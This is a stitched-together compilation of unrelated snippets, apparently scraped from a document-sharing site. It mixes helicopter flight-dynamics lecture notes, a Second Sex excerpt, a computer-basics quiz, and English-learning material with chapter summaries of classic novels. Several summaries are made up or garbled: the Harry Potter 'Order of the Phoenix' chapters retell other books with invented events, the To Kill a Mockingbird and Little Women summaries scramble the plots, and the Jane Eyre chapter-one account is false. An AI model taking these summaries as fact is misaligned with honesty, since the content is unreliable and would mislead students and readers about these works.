chapter1 About ACT p1-22(1)
直升机飞行力学chapter1
Requirements
• Stressing on the physical meanings and basic concepts • Understanding and gripping the analysis methods • Being able to conduct the basic Calculation
Definition of Helicopter Flight Dynamics
The subject of studying external forces applied on helicopter as well as motions and controls
External Forces: Only those changing flight path such as aerodynamic, inertial and gravity forces. Motions: Accelerations(angular acceleration), velocities and position Controls: Pilot controls from cockpit, augment stability and control Flight qualities: Specification and flight quality assessment
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Rotor disc tilt side
−∆M x
Characteristics of Helicopter Flight
1. There are 6 freedoms of motion in space, But there are only 4 controls. Therefore the control for each freedom of motion is not independent. The response of helicopter to controls is coupled. The crosscoupling between axes is serious and needs to be removed by pilot controls or SCAS. The controls for heaving, pitch and roll motions are implemented by blade flapping motion. Thus the delay of helicopter response to pilot controls is greater than that of fixed-wing aircraft. The flight qualities of helicopter is poorer than that of fixed-wing aircraft The flight dynamics of helicopter is more complicated than fixedwing aircraft
小王子英文版每一章的主要内容
小王子英文版每一章的主要内容全文共四篇示例，供读者参考第一篇示例：Chapter 1: The narrator introduces himself as a pilot who crash-lands in the Sahara desert and meets the Little Prince. The Little Prince asks the narrator to draw him a sheep, which leads to a conversation about the importance of imagination.第二篇示例：Chapter 1: The narrator meets the Little Prince in the desert and learns of his origins on a small asteroid called B-612. The Little Prince tells the narrator about his travels and the unique encounters he has had with different inhabitants of the planets he has visited.第三篇示例：Chapter 3: The Little Prince describes his home planet, Asteroid B-612, and the baobab trees that threaten to take over the planet. He also talks about the rose he left behind on his planet, which he loves deeply.第四篇示例：Chapter 2: The little prince recounts his journey from planet to planet, meeting various strange and colorful characters along the way. He learns valuable lessons about love, loss, and loneliness as he encounters the inhabitants of each world.。
Coding and Information theory-chapter1
“A Mathematical Theory of Communication” (1948).
"I just wondered how things were put together."
2
Shannon joined AT&T Bell Telephones in New Jersey in 1941 as a research mathematician and remained at the Bell Laboratories until 1972. Johnson writes in [4] that Shannon:... became known for keeping to himself by day and riding his unicycle down the halls at night. D Slepian, a colleague at the Bell Laboratories wrote:Many of us brought our lunches to work and played mathematical blackboard games but Claude rarely came. He worked with his door closed, mostly. But if you went in, he would be very patient and help you along. He could grasp a problem in zero time. He really was quite a genius. He's the only person I know whom I'd apply that word to. Marvin Minsky described Shannon as follows:Whatever came up, he engaged it with joy, and he attacked it with some surprising resource which might be some new kind of technical concept or a hammer and saw with some scraps of wood. For him, the harder a problem might seem, the better the chance to find something new.
完整英文版《第二性》The-Second-Sex
完整英文版《第二性》The-Second-SexThe Second Sexby Simone de Beauvoir (1949)Book One: Facts and Myths, Part I: DestinyChapter 1, The Data of BiologyWOMAN? Very simple, say the fanciers of simple formulas: she is a womb, an ovary; she is a female –this word is sufficient to define her. In the mouth of a man the epithet female has the sound of an insult, yet he is not ashamed of his animal nature; on the contrary, he is proud if someone says of him: ‘He is a male!’ The term ‘female’ is derogatory not because it emphasises woman’s ani mality, but because it imprisons her in her sex; and if this sex seems to man to be contemptible and inimical even in harmless dumb animals, it is evidently because of the uneasy hostility stirred up in him by woman. Nevertheless he wishes to find in biology a justification for this sentiment. The word female brings up in his mind a saraband of imagery –a vast, round ovum engulfs and castrates the agile spermatozoan; the monstrous and swollen termite queen rules over the enslaved males; the female praying mantis and the spider, satiated with love, crush and devour their partners; the bitch in heat runs through the alleys, trailing behind her a wake of depraved odours; the she-monkey presents posterior immodestly and then steals away with hypocritical coquetry; and the most superb wild beasts –the tigress, the lioness, the panther – bed down slavishly under the imperial embrace of the male. Females sluggish, eager, artful, stupid, callous, lustful, ferocious, abased – man projects them all at once upon woman. And the fact is that she is a female. But if we are willing to stop thinking in platitudes, two questions areimmediately posed: what does the female denote in the animal kingdom? And what particular kind of female is manifest in woman?Males and females are two types of individuals which are differentiated within a species for the function of reproduction; they can be defined only correlatively. But first it must be noted that even the division of a species into two sexes is not always clear-cut.In nature it is not universally manifested. To speak only of animals, it is well known that among the microscopic one-celled forms –infusoria, amoebae, sporozoans, and the like –multiplication is fundamentally distinct from sexuality. Each cell divides and subdivides by itself. In many-celled animals or metazoans reproduction may take place asexually, either by schizogenesis –that is, by fission or cutting into two or more parts which become new individuals – or by blastogenesis – that is, by buds that separate and form new individuals. The phenomena of budding observed in the fresh-water hydra and other coelenterates, in sponges, worms, and tunicates, are well-known examples. In cases of parthenogenesis the egg of the virgin female develops into an embryo without fertilisation by the male, which thus may play no role at all. In the honey-bee copulation takes place, but the eggs may or may not be fertilised at the time of laying. The unfertilised eggs undergo development and produce the drones (males); in the aphids males are absent during a series of generations in which the eggs are unfertilised and produce females. Parthenogenesis has been induced artificially in the sea urchin, the starfish, the frog, and other species. Among the one-celled animals (Protozoa), however, two cells may fuse, forming whatis called a zygote; and in the honey-bee fertilisation is necessary if the eggs are to produce females. In the aphids both males and females appear in the autumn, and the fertilised eggs then produced are adapted for over-wintering.Certain biologists in the past concluded from these facts that even in species capable of asexual propagation occasional fertilisation is necessary to renew the vigour of the race –to accomplish ‘rejuvenation’ through the mixing of her editary material from two individuals. On this hypothesis sexuality might well appear to be an indispensable function in the most complex forms of life; only the lower organisms could multiply without sexuality, and even here vitality would after a time become exhausted. But today this hypothesis is largely abandoned; research has proved that under suitable conditions asexual multiplication can go on indefinitely without noticeable degeneration, a fact that is especially striking in the bacteria and Protozoa. More and more numerous and daring experiments in parthenogenesis are being performed, and in many species the male appears to be fundamentally unnecessary. Besides, if the value of intercellular exchange were demonstrated, that value would seem to stand as a sheer, unexplained fact. Biology certainly demonstrates the existence of sexual differentiation, but from the point of view of any end to be attained the science could not infer such differentiation from the structure of the cell, nor from the laws of cellular multiplication, nor from any basic phenomenon.The production of two types of gametes, the sperm and the egg, does not necessarily imply the existence of two distinct sexes; as a matter of fact, egg and sperm –two highly differentiated types of reproductive cells –may both beproduced by the same individual. This occurs in normally hermaphroditic species, which are common among plants and are also to be found among the lower animals, such as annelid worms and molluscs. In them reproduction may be accomplished through self-fertilisation or, more commonly, cross-fertilisation. Here again certain biologists have attempted to account for the existing state of affairs. Some hold that the separation of the gonads (ovaries and testes) in two distinct individuals represents an evolutionary advance over hermaphroditism; others on the contrary regard the separate condition as primitive, and believe that hermaphroditism represents a degenerate state. These notions regarding the superiority of one system or the other imply the most debatable evolutionary theorising. All that we can say for sure is that these two modes of reproduction coexist in nature, that they both succeed in accomplishing the survival of the species concerned, and that the differentiation of the gametes, like that of the organisms producing them, appears to be accidental. It would seem, then, that the division of a species into male and female individuals is simply an irreducible fact of observation.In most philosophies this fact has been taken for granted without pretence of explanation. According to the Platonic myth, there were at the beginning men, women, and hermaphrodites. Each individual had two faces, four arms, four legs, and two conjoined bodies. At a certain time they were split in two, and ever since each half seeks to rejoin its corresponding half. Later the gods decreed that new human beings should be created through the coupling of dissimilar halves. But it is only love that this story is intended to explain; division into sexes is assumed at the outset. Nor does。
chapter1_参考答案
1.计算机存储数据的基本单位是（）A.bitB.ByteC.字D.字符2.多年来，人们习惯于以计算机主机所使用的主要元器件的发展进行分代，所谓第四代计算机使用的主要元器件是（）A.电子管B.晶体管C.中小规模集成电路D.大规模和超大规模集成电路3.在计算机的不同发展阶段，操作系统最先出现在（）A.第一代计算机B.第二代计算机C.第三代计算机D.第四代计算机4.运算器的主要功能是进行（）A．只做加法B．逻辑运算C．算术运算和逻辑运算D．算术运算5.计算机硬件的五大基本构件包括运算器、存储器、输入设备、输出设备和（）A.显示器B.控制器C.磁盘驱动器D.鼠标器6.关于冯.诺依曼计算机，下列说法正确的是（）A.冯.诺依曼计算机的程序和数据是靠输入设备送入计算机的寄存器保存的B.冯.诺依曼计算机工作时是由数据流驱动控制流工作的C.冯.诺依曼计算机的基本特点可以用“存储程序”和“程序控制”高度概括D.随着计算机技术的发展，冯.诺依曼计算机目前已经被淘汰7.冯.诺依曼计算机的核心思想是（），冯.诺依曼计算机的工作特点是（）（1） A.采用二进制 B.存储程序 C.并行计算 D.指令系统（2）A.堆栈操作 B.存储器按内容访问C.按地址访问并顺序执行指令D.多指令流单数据流8.一个完整的计算机系统包括（）A.主机、键盘、显示器B.主机及外围设备C.系统软件与应用软件D.硬件系统与软件系统9.下列软件中，不属于系统软件的是（）A．编译软件B．操作系统C．数据库管理系统D．C语言程序解析：计算机的软件分为系统软件和应用软件。
系统软件是为了计算机能正常、高效工件所配备的各种管理、监控和维护系统的程序及其有关资料。
系统软件主要包括如下几个方面：（1）操作系统软件，这是软件的核心（2）各种语言的解释程序和编译程序（如BASIC语言解释程序等）（3）各种服务性程序（如机器的调试、故障检查和诊断程序等）（4）各种数据库管理系统（FoxPro等）10.某单位的人事档案管理程序属于（）A.工具软件B.应用软件C.系统软件D.字表处理软件11.下列选项中，描述浮点数操作速度的指标是（）A.MIPSB.CPIC.IPCD.MFLOP12.半个世纪以来，对计算机发展的阶段有过多种描述。
小妇人各章节内容英语概括
小妇人各章节内容英语概括Chapter 1- Amy, the youngest March sister, is preparing for a party while her mother and sisters are out. She is disappointed that her nose is red and begins to worry about her appearance.Chapter 2- The March sisters, Meg, Jo, Beth, and Amy, struggle with poverty while their father is away serving as a chaplain in the Civil War. They receive a surprise visit from their wealthy Aunt March.Chapter 3- Jo, the tomboyish second eldest sister, learns that her short story has been rejected by a publisher. She decides to pursue her passion for writing and declares that she will not conform to society's expectations.Chapter 4- The March sisters befriend their wealthy neighbor, Theodore "Laurie" Laurence, who becomes an honorarymember of their family. Meg attends a party with Laurie and meets John Brooke, Laurie's tutor.Chapter 5- Meg is invited to attend a dance at the Moffats' home, where she meets the charming Mr. Brooke once again. However, she becomes embarrassed by her simple dress and feels out of place among the wealthier guests.Chapter 6- Jo becomes friends with Laurie and listens to his troubles. She offers to take him to a play, despite his protests, and they enjoy a lively evening together.Chapter 7- The March sisters put on a play and invite Laurie to watch. Jo portrays a male character and is praised for her performance. After the play, the girls receive a surprise visit from Marmee, their mother.Chapter 8- Marmee encourages the girls to help those less fortunate by donating their Christmas breakfast to a poor family. The sisters agree to make sacrifices and find joy in giving to others.Chapter 9- Amy becomes envious of her older sisters and seeks to improve her social standing. She attempts to actlike a lady but ends up humiliated at a party when her hand is accidentally burned.Chapter 10- Jo takes a job as a governess to help support her family, but she struggles to fit in with the wealthy family she works for. She maintains her independent spirit but faces challenges in her new role.。
美国合同法(第二次重述第1部分中英文)
CONTENT 目录（共十六章 385 条）Chapter 1 MEANING OF TERMS 第一章合同条款的含义Chapter 2 FORMA TION OF CONTRATCTS -------- P ARTIES AND CAPACITY第二章合同的订立——当事人及其缔约能力Chapter 3 FORMA TION OF CONTRACTS---MUTUAL ASSENT 第三章合同的订立——意思表示一致CHAPTER 4 FORMA TION OF CONTRACTS — CONSIDERA TION 第四章合同的订立——约因CHAPTER 5 THE STATUTE OF FRAUDS 第五章防止欺诈条例CHAPTER 6 MISTAKE 第六章错误CHAPTER 7 MISREPRESENTATION, DURESS AND UNDUE INFLUENCE 第七章虚假的意思表示，胁迫以及不当影响CHAPTER 8 UNENFORCEABILITY ON GROUNDS OF PUBLIC POLICY 第八章合同因公共政策而不可执行CHAPTER 9 THE SCOPE OF CONTRACTUAL OBLIGA TIONS 第九章合同义务的范围CHAPTER 10 PERFORMANCE AND NON-PERFORMANCE 第十章合同的履行与不履行CHAPTER 11 IMPRACTICABILITY OF PERFORMANCE AND FRUSTRATION OF PURPOSE 第十一章履行不能和履行目的落空CHAPTER 12 DISCHARGE BY ASSET OR ALTERATION 第十二章双方合意或变更合同以解除合同义务CHAPTER 13 JOINT AND SEVERAL PROMISORS AND PROMISEES 第十三章连带允诺人和受允诺人CHAPTER 14 CONTRACT BENEFICIARIES 第十四章合同受益人CHAPTER 15 ASSGINEMNT AND DELEGATON 第十五章合同权利的转让与合同义务的转托CHAPTER 16.REMEDIES 第十六章违约救济Chapter 1 MEANING OF TERMS 第一章合同条款的含义§1. CONTRACT DEFINED 合同定义A contract is a promise or a set of promises for the breach of which the law gives a remedy, or the performance of which the law in some way recognizes as a duty. 合同指的是一个允诺或一组允诺，如果违反此允诺，则法律给与救济；如果其履行了允诺，则法律以某种方式将其视为一项义务。
《小王子》原著英汉对照chapter1
《小王子》Chapter1[第一章]Once when I was six years old I saw a magnificent picture in a book,called True Stories from Nature,about the primeval forest.it was a picture of a boa constrictor in the act of swallowing an animal.Here is a copy of the drawing:我六岁那年，有一次，在一本书里看见一幅很棒的图画，那本书叫《亲身经历的故事》，写原始森林。
那幅图画上，一条大蟒蛇正在吞吃一头猛兽。
我把它描了下来。
In the book it said: “Boa constrictors swallow their prey whole, without chewing it. After that they are not able to move, and they sleep through the six months that they need for digestion.”书里写着：“大蟒蛇把猎物整个吞下，嚼都不嚼。
然后，它动弹不了，它得睡上整整六个月，才能消化肚子里的东西。
”I pondered（沉思）deeply, then, over the adventures of the jungle. And after some work with a coloured pencil I succeeded in making my first drawing. My Drawing Number One. It looked like this:对原始森林的探险，我当时想得很多。
于是，我也用一支彩色铅笔，画出了我的第一张画。
画作第1号。
就像这样：I showed my masterpiece to the grown-ups, and asked them whether the drawing frightened them.我把我的杰作拿给大人们看，问他们：“我的画是不是让你们很害怕？”But they answered: “Frighten? Why should anyone be frightened by a hat?”他们回答：“一顶帽子有什么好怕的？”My drawing was not a picture of a hat. It was a picture of a boa constrictor digesting an elephant. But since the grown-ups were not able to understand it, I made another drawing. I drew the inside of the boa constrictor, so that the grown-ups could see it clearly. They always need to have things explained. My Drawing Number Two looked like this:可我画的不是帽子呀。
绿野仙踪第一章梗概英文
绿野仙踪第一章梗概英文Title: The Wonderful Wizard of Oz - Chapter One SummaryIn chapter one of The Wonderful Wizard of Oz, we meet our protagonist, a little girl named Dorothy, who lives on a small farm in Kansas with her Uncle Henry and Aunt Em. The farm is situated in the midst of a flat and uninteresting landscape that stretches as far as the eye can see. Despite the monotony of her surroundings, Dorothy is a happy and content child, until one day when a cyclone touches down in her area. When the cyclone hits the farm, Dorothy is caught up in its force and finds herself whisked away to a magical land.Upon arriving in the fantasy world, Dorothy meets a group of Munchkins who tell her she is in a land called Oz, and that she must seek out the Wizard of Oz in order to find her way back to Kansas. Along the way, she meets a Scarecrow, a Tin Woodman, and a Cowardly Lion, each of whom agree to accompany her on her quest to see the Wizard. Together, they journey through the strange and unfamiliar landscape of Oz, facing danger and adventure at every turn.As the chapter comes to a close, Dorothy and her companions arrive at the Emerald City, where they hope to meet the Wizard and ask for his help in returning home. However, they soon learn that the Wizard is a powerful and mysterious figure whose true intentions are shrouded in secrecy. Dorothy and her friends are left wondering if they will ever find their way back to Kansas, or if they will be trapped in this magical world forever.。
哈利波特与凤凰社21章英文原文
第一章：The Beetle at BayHarry learns about the trial of an underage wizard named Marietta Edgbe, who is facing punishment for betraying Dumbledore's Army to Umbridge. Hermione modifies a hat to hide the trio's faces and keep their voices unrecognizable, and they set off to try to find the next horcrux. They travel to 12 Grimmauld Place, the home of Sirius Black, and they plan to search the house for clues about the horcruxes.第二章：The Hufflepuff CupThe trio begins their search of 12 Grimmauld Place, and they find a locket that once belonged to Salazar Slytherin, which they believe to be the next horcrux. Meanwhile, they receive a message from Kreacher, the house-elf, who has information about the location of the locket. They realize that they must go to the Ministry of Magic to retrieve the locket from Umbridge, who now possesses it.第三章：The Lamentable LotamentAt the Ministry of Magic, the trio disguises themselves as employees using polyjuice potion, and they manage to retrieve the locket from Umbridge's office. However, they are caught and interrogated by Umbridge and the Death Eaters. They aresaved by the Order of the Phoenix, who arrive just in time to rescue them and take them back to 12 Grimmauld Place.第四章：The Life and Lies of Albus DumbledoreThe trio learns more about the history of the locket and its connection to Dumbledore and Grindelwald. They discover that Dumbledore had once sought the locket, but was unable to find it. In the meantime, they continue to plan their search for the other horcruxes, knowing that they must act quickly to defeat Voldemort.第五章：The Silver DoeHarry has a vision of a silver doe, which leads him to a frozen pond where he retrieves the sword of Gryffindor. Ron, who has returned to help his friends, uses the sword to destroy the locket and save Harry's life. The trio realizes that they must now focus on finding the rem本人ning horcruxes and destroying them.第六章：The Sealed TruthThe trio embarks on a journey to find the rem本人ning horcruxes, facing numerous challenges along the way. They encounter danger and betrayal, but they continue to press on,determined to do whatever it takes to defeat Voldemort and save the wizarding world.第七章：The Battle of HogwartsAs they search for the final horcrux, the trio finds themselves in the midst of the Battle of Hogwarts. They join forces with their friends and allies to fight ag本人nst Voldemort and his followers, knowing that the oue of the battle will determine the fate of the wizarding world.第八章：The End of an EraAfter a long and difficult struggle, Harry finally manages to destroy the final horcrux and defeat Voldemort once and for all. The wizarding world is saved, but not without great sacrifice. The trio and their friends mourn the loss of those who gave their lives in the battle, but they also look toward the future with hope and determination to rebuild and move forward.结语：哈利波特与凤凰社21章是一部充满惊险与奇幻的魔法冒险故事。
小说每章总结英语作文
小说每章总结英语作文Chapter Summary of "To Kill a Mockingbird""To Kill a Mockingbird" is a classic novel written by Harper Lee, which has won the Pulitzer Prize. It tells the story of a young girl named Scout Finch and her brother Jem, who grow up in a small town in Alabama during the 1930s.The novel explores themes of racism, prejudice, and theloss of innocence.Chapter 1: The novel begins with Scout introducing her family and the town of Maycomb. Scout and Jem meet a new friend, Dill, who comes to stay with his aunt for the summer. They become fascinated with their reclusive neighbor, Arthur "Boo" Radley.Chapter 2: Scout starts school and is frustrated with her teacher's insistence on teaching her how to read. Atticus, Scout's father, explains to her why education is important and teaches her to read at home.Chapter 3: Scout gets into a fight with a boy at school who insults her father. Atticus tells her to ignore the insults and not to fight back.Chapter 4: Jem and Scout find gifts in a tree outside the Radley house. They suspect that Boo Radley is leaving them.Chapter 5: Jem and Dill try to get a glimpse of Boo Radley by sneaking onto his property. Atticus catches them and tells them to leave Boo alone.Chapter 6: Jem and Scout sneak out at night to try and see Boo Radley. They are scared off when they hear a gunshot.Chapter 7: Someone tries to stab Scout and Jem on their way home from a Halloween party. They are saved by Boo Radley, who kills their attacker.Chapter 8: The town is hit by a snowstorm, and Scoutand Jem build a snowman. They discover that the gifts in the tree have been cemented over by their father.Chapter 9: Atticus is appointed to defend a black man, Tom Robinson, who has been accused of raping a white woman. The town is divided over the case, and Scout is taunted by her classmates because of her father's involvement.Chapter 10: Atticus shoots a rabid dog that is wandering through the town. Jem and Scout are impressed by their father's marksmanship.Chapter 11: Jem and Scout visit their Aunt Alexandra, who has come to stay with them. They learn about their family history and the importance of their social standing.Chapter 12: The trial of Tom Robinson begins, and Scout and Jem attend. They witness the racism and prejudice of the town.Chapter 13: Aunt Alexandra tries to make Scout more ladylike and introduces her to her cousin, Francis. Scoutdislikes Francis and gets into a fight with him.Chapter 14: Scout and Jem discover that their fatherhas been called a "nigger-lover" by some of the townspeople. They don't understand why their father is being insulted.Chapter 15: Atticus is threatened by a group of men who want to harm Tom Robinson. Jem, Scout, and Dill sneak outto watch the confrontation.Chapter 16: Tom Robinson takes the stand, and Atticus exposes the lies of the prosecution's witnesses. The townis shocked by the evidence presented.Chapter 17: The trial ends, and the jury finds Tom Robinson guilty. Atticus is devastated by the verdict.Chapter 18: Tom Robinson is sent to prison, and Atticus tries to console his family. Scout and Jem are upset by the injustice of the verdict.Chapter 19: Tom Robinson's wife visits the Finch familyand thanks them for their support. Scout and Jem learnabout the harsh realities of life.Chapter 20: Atticus is criticized by some of the townspeople for defending Tom Robinson. Scout and Jem are confused by the hatred directed towards their father.Chapter 21: Jem and Scout attend a church service with Calpurnia, their black housekeeper. They learn about the different experiences of black and white people in the town.Chapter 22: Atticus is attacked by Bob Ewell, thefather of the woman who accused Tom Robinson. Jem and Scout are saved by Boo Radley, who kills Bob Ewell.Chapter 23: Atticus learns that Tom Robinson has been killed while trying to escape from prison. He is devastated by the news.Chapter 24: Aunt Alexandra hosts a tea party for the ladies of the town. Scout is bored by the conversation and misses her father.Chapter 25: Scout and Jem are attacked by Bob Ewell on their way home from a Halloween party. They are saved by Boo Radley, who carries Jem back to their house.Chapter 26: Scout meets Boo Radley for the first time and realizes that he is not the scary monster she thought he was.Chapter 27: The town sheriff covers up the killing of Bob Ewell to protect Boo Radley. Scout realizes the importance of empathy and understanding.Chapter 28: Scout walks Boo Radley home and sees the world from his perspective. She realizes the importance of compassion and kindness.Chapter 29: Scout says goodbye to Boo Radley and reflects on the lessons she has learned about the human experience.Chapter 30: The novel ends with Scout looking back onher childhood and the lessons she has learned about prejudice, empathy, and the importance of standing up for what is right.。
《小王子》精读Chapter1 讲义-高三英语一轮复习
The Little Prince [ Chapter 1]we are introduced to the narrator, a pilot, and his ideas about grown- ups.【词汇】①narrator:/nəˈreɪtə(r)/叙述者，叙事人【句型】①be introduced to:被动语态的结构，表示“被介绍给......”Once when I was six years old I saw a magnificent picture in a book, called True Stories from Nature, about the primeval forest. It was a picture of a boa constrictor in the act of swallowing an animal. Here is a copy of the drawing.【词汇】①magnificent:/mæɡˈnɪfɪs(ə)nt/ adj.宏伟的，壮丽的；令人印象深刻的，出色的；高尚的，高贵的②primeval:/praɪˈmi:v(ə)l/ adj.原始的；初期的③swallow:/ˈswɒləʊ/ v.吞下，咽下【译文】我六岁的时候，在一本名为《真实的故事》的描写原始森林的书上，看到过一幅非常精彩的插图，上面画着一条蟒蛇正在吞吃一头猛兽的情景。
In the book it said:"Boa constrictors swallow their prey whole, without chewing it. After that they are not able to move, and they sleep through the six months that they need for digestion."【词汇】①prey:/preɪ/ n.猎物，捕获物；受害者，受骗者v.捕食；欺凌，坑害②chew:/tʃuː/ v.咀嚼，嚼碎；③digestion:/daɪˈdʒestʃən/ n.消化；消化能力【句型】be able to...有能力做某事【译文】我记得书上写着：“蟒蛇嚼都不嚼就把猎物整个吞下，然后它就无法动弹，躺上大半年来消化它们。
chapter1游戏开发简介
游戏的分类
第一视角射击游戏（First Personal Shooting Game，简 称FPS）
FPS是从美国流行起来的一种游戏流派和类型，在融合了迷宫游戏 和动作游戏的特点后，引入第一视角和三维图形，使得游戏的表现力得 到了极大的提高。典型的FPS游戏由一系列的关卡组成，每个关卡都有 自己独特的三维场景；玩家在一个关卡中要完成一组使命和任务，才能 进入下一关；同时，游戏中也有一组NPC人物，它们要阻碍（敌方）和 帮助（友方）完成任务。
在TBS回合制游戏中，玩家和敌方交替采取行动，只有当玩家完成 自己的操作后，敌方才能开始考虑对策并实施行动。TBS节奏比较慢， 游戏中有一半的时间是在等待。RTS游戏问世后，TBS游戏已经呈现衰 落。
游戏的分类
实时策略游戏（Real-Time Strategy Game，简称RTS）
大多数的RTS游戏规则都遵循“采集—生产—进攻”的三步原则， 即通过对集中资源的采集和利用，来构建基地或城市，生产武器，组建 军队，然后向敌方发起进攻。其中的两个要素是资源管理和狭义的战争 策略。
游戏的分类
格斗游戏（Fighting Game，简称FTG）
FTG游戏的基本特征是在一个狭小的场景里，通过复杂的按键序列 使双方角色进行一对一的打斗。二维格斗游戏一般使用平视镜头，三维 格斗游戏一般使用第三视角。FTG游戏的背景一般固定不变，玩家的注 意力完全集中在对手身上。
游戏的分类
回合制策略游戏（Turn Based Strategy Game，简称TBS）
第一章 游戏开发简介
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本章目录
什么是游戏 游戏的组成 计算机游戏策的发展简史 游戏的分类 游戏开发的基本理念 游戏开发的基本流程 游戏的测试与调试 游戏开发的准则和“忠告” 基本素质要求 游戏开发小组 小结
简爱英文版第一章
简爱英文版第一章The Reading of Jane Eyre: An Interpretation of the First Chapter1.Background Introduction'Jane Eyre' is a classic work of English literature written by Charlotte Brontë. It was first published in 1847 under the pen name 'Currer Bell', one of three female writers who used male pen names at that time in order to circumvent the social constraints of Victorian England. The novel, set in the 19th century, tells the story of Jane Eyre, an orphaned girl who struggles through difficult times and eventually finds love and happiness. 'Jane Eyre' is considered a classic of English literature, recognized for its powerful narrative, complex characters, and thematic explorations of gender, class, and religion.2.Content Overview of the First ChapterThe first chapter of 'Jane Eyre' opens with a vivid description of Thornfield Hall, a lonely mansion in the English countryside. It is evening, and the reader is introduced to Jane Eyre, a thoughtful and self-reliant young girl. She stands at the gate of the Hall, watching a group of Gytrash, a legendary creature that appears in Yorkshire folklore as a fearsome dog or horse. This sets the scene for Jane's characterization as a strong-willed and independent-minded person, unafraid of facing challenges.3.Theme and MeaningThe theme of this chapter is the exploration of female agency and autonomy. Through Jane's reaction to her environment and her resolute refusal to fear the Gytrash, Brontësuggests that women have the potential to face and overcome adversity. This theme continues throughout the novel as Jane faces difficulties and 力争女主的地位 opportunities. Additionally, this chapter introduces the idea of female independence and self-reliance, which will become recurring themes throughout the novel.4.English Expression and Rhetorical DevicesCharlotte Brontë's powerful writing style utilizes a range of English expressions and rhetorical devices. In the first chapter, Brontë uses metaphors and personification to describe Jane's courage and resolve. For example, she compares Jane to a "tightly-compressed spring" that is "strained to the utmost tension" (Brontë3), suggesting Jane's resilience and energy. Personification is seen in Brontë's description of Thornfield Hall as a "frowning giant" (Brontë 3), which gives the mansion a sense of power and intimidation.5.Reading Difficulties and SolutionsOne possible difficulty readers may encounter in this chapter is the use of archaic language and Victorian cultural references. However, by placing yourselfin the context of 19th-century England and familiarizing yourself with the cultural norms and language usage, you can better understand the novel's characters and themes. Another challenge could be Brontë's poetic language and imagery, which can be dense and layered. Close reading and rereading passages with an eye for detail can help unpack these layers.6.Reflection and InsightReading the first chapter of 'Jane Eyre' has provided me with a deeper understanding of Charlotte Brontë's themes and style. The exploration of female agency and autonomy has resonated with me personally, as it encourages me to embody a similar spirit in my own life. Additionally, Brontë's use of language and imagery has shown me how powerful words can be in evoking emotion and creating vivid pictures in the reader's mind. I have also gained a new appreciation for English literature after understanding more about the cultural and historical context of 'Jane Eyre'.总的来说，《简爱》第一章以其丰富的情感、复杂的角色和生动的描绘吸引了读者的注意力。
新标准大学英语综合教程4课文Summary
Unit 1 Act.2 If Yo u Ask Me1.This is a story of a graduate who gets a job in a pub for a year and has achance to be successful.2.Since he r fam ily can’t su p p o rt h e r to fu rth e r stu d y, sh e h as to wo rk. Sh e h as financial p ro b le m s and feels lo n e ly. She talks her trouble to To n y, a re g ular customer of the pub. Who gets her a loan to set up a business. With his help she has her monster’s d e g re e and he r o wn co m p any.3.After a few years T ony had b een in a car accid ent and could n’t work, the writer’s m oney help ed him. Tony said investing in p eop le g ives the b est returnyo u can e ve r ho p e fo r.Unit 2 Act.1 Danger! Books may Change Your Life1.This article introduces the power of reading books to us. When we pick up a book, we are about to enter a new world. Books will influence the way we live.2.The writer m entio ns a wo rd“ho m e-run b o o k” that m ight be the answerfor the book everyone should re ad. “Home-run”book is which can give you pleasure and satisfaction.3.The title described the power of reading.Unit 2 Act.2 They were alive and they spoke to me1.The writer introduces what m ake s a book alive. A book lives through the p assio nate re co m m e nd atio n o f o ne re ad e r to ano the r.2.The writer suggests us re ad as little as possible not as much as possible. What is more important is the quality not the quantity.Unit 3 Act.1 Fifty Y e ars o f Fashio nFashion in the year 1960 to 2010 has two constant factors: the ubiquitous jeans and the rise and fall of hemlines of women’s skirts and dresses. The jeans date back to 16 century, and then jeans bacame the work cloth of miners. Jeans were worn with young people in 1950s, and after that developed a lot, associated with new ideas. The length of women’s dresses is associated with economy. When the economy is positive, women enjoy to show them.Unit 3 Act.2 Eco-jewellery: Sea GlassThis article introduces the reason why sea glass is very popular. And describes the process o f making jewellery fro m sea glass, m ake s people think about the importance of recycling. And paints the passion of Gina Cowen, who is a jewellery d e sig n e r.Unit 4 Act.1 The Cre d it Card TrapThis article te lls the write r’s co m p lain ab o u t b an k cre d it card. She take s so m eexamples to analyze how credit cards get people in to a trap and make people be in debt for bank. The author use a humorous way to suggest people how to solve the credit card trap, that cut them by scissors, never use them anymore.Unit 4 Act.2 The Key to Wedded Bliss? Money MattersThis article tells us that what is important to marriage is money. What makes marrige work is finding your financial soulmate, marrying a person who share s yo ur attitud es ab o ut m o ney. The writer g ives so m e g uid elines: (1) talk and shareg o als (2) run a home like a business (3) be supportive o f careers (4) e n jo y, b ut within re aso n (5) u se a m e d iato r (6) m ain tain so m e in d e p e n d e n ce (7) in ve st in yo u rmarriageUnit 5 Act.1 Sex Differences in English Gossip RulesThis article summarizes findings form recent re se arch. And it presents the writer’s o wns re se arch find ing s that m e n g o ssip as m uch as wo m e n, b ut the y callit “exchanging information”. The main difference between male and female g o ssip is that fem ale g o ssip so und s like g o ssip. Three p rincip al invo lved are: thetone rule, the detail rule and the feedback rule.Unit 5 Act.2 Marked:Women in the workplaceWo m e n constantly have to m ake choices about d re ss and appearance, and even the way they sign their names, which lead people to make judgments aboutthem; men do not have to make the same choices.Unit 6 Act.1 Winston ChurchillChurchill cam e fro m a fam o us fam ily and was a so ld ier and p o litician. When Churchill became Prime Minister in 1940, Britain was at wa r. Churchill made speeches that inspired the nation, and led the country to victory. Although he was considered a great military leader, Churchill lost the general election after the war.。
跨境电商实用英语课件Unit4Chapter1
the order will be up to 70% if the seller can respond to the buyer’s inquiry within 1 hour.”
PART 1 Warming-up
PART 2 Passage Reading
As for product specifications and size issues, the seller will generally describe on the product details page, but it does not exclude some buyers who will ignore this information. In the event of inquiries about product specifications and size, the seller should repeat the detailed specifications and size of the product and guide the buyer to confirm the specifications and size on the product details page again. In addition, some products of Cross-border Ecommerce are for domestic sales, so there will be size issues, especially for products like clothing and shoes. There are many disputes arising from different size standards, so it is a troublesome problem for many sellers. How to avoid such disputes? In addition to carefully set the size chart, the seller should respond the size questions in details and with patience, which will play a significant role in avoiding disputes and improving customer experience and satisfaction.
Chapter(01)
1-8
Learning Objectives
Recognize the information conveyed in each of the four basic financial statements and the way
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Creditors lend money for a specific period of time and gain by charging interest on the money they lend.
Creditors (债权人)
Investors
Investors buy ownership in the company in the form of stock.
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深入理解计算机系统答案（超高清电子版）
